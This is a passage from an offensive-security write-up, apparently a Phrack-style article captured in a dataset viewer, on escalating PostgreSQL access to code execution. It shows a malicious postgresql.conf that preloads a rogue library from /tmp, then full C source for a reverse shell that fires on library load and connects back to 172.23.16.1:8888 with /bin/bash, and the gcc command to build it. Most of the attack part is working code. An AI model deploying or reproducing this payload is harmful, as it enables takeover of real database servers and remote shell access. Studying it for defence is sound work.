text stringlengths 0 1.99k |
|---|
We will focus on the "session_preload_libraries" variable, which dictates |
what libraries should be preloaded by the server on a new connection[11]. |
It does not require a restart of the server, unlike |
"shared_preload_libraries", and does not have a specific prefix prepended |
to the path like the "local_preload_libraries" variable. |
So, we can rewrite the malicious postgresql.conf to have a writable |
directory in the "dynamic_library_path", e.g. /tmp, and to have a |
rogue library filename in the "shared_preload_libraries", e.g. |
"payload.so". |
The updated config file will look like this: |
-------------------------------------------------------------------------- |
$ cat postgresql.conf |
... |
# - Shared Library Preloading - |
session_preload_libraries = 'payload.so' |
... |
# - Other Defaults - |
dynamic_library_path = '/tmp:$libdir' |
-------------------------------------------------------------------------- |
---[ 4.2 - Compiling the malicious library |
One of the final steps is to compile a malicious library for the server to |
load. The code will naturally vary depending on the OS the DBMS is running |
under. For the Unix-like case, let's compile the following simple reverse |
shell into an .so file. The "_init()" function will automatically fire on |
library load: |
-------------------------------------------------------------------------- |
#include <stdio.h> |
#include <sys/socket.h> |
#include <sys/types.h> |
#include <stdlib.h> |
#include <unistd.h> |
#include <netinet/in.h> |
#include <arpa/inet.h> |
#include "postgres.h" |
#include "fmgr.h" |
#ifdef PG_MODULE_MAGIC |
PG_MODULE_MAGIC; |
#endif |
void _init() { |
/* |
code taken from https://www.revshells.com/ |
*/ |
int port = 8888; |
struct sockaddr_in revsockaddr; |
int sockt = socket(AF_INET, SOCK_STREAM, 0); |
revsockaddr.sin_family = AF_INET; |
revsockaddr.sin_port = htons(port); |
revsockaddr.sin_addr.s_addr = inet_addr("172.23.16.1"); |
connect(sockt, (struct sockaddr *) &revsockaddr, |
sizeof(revsockaddr)); |
dup2(sockt, 0); |
dup2(sockt, 1); |
dup2(sockt, 2); |
char * const argv[] = {"/bin/bash", NULL}; |
execve("/bin/bash", argv, NULL); |
} |
-------------------------------------------------------------------------- |
Notice the presence of the "PG_MODULE_MAGIC" field in the code. It is |
required for the library to be recognized and loaded by the PostgreSQL |
server. |
Before compilation, we must install proper PostgreSQL development packages |
for the correct major version, 13 in our case: |
-------------------------------------------------------------------------- |
$ sudo apt install postgresql-13 postgresql-server-dev-13 -y |
-------------------------------------------------------------------------- |
The code can be compiled with gcc with the following command: |
-------------------------------------------------------------------------- |
$ gcc \ |
-I$(pg_config --includedir-server) \ |
-shared \ |
-fPIC \ |
-nostartfiles \ |
-o payload.so \ |
payload.c |
-------------------------------------------------------------------------- |
---[ 4.3 - Uploading the config and library to the server |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.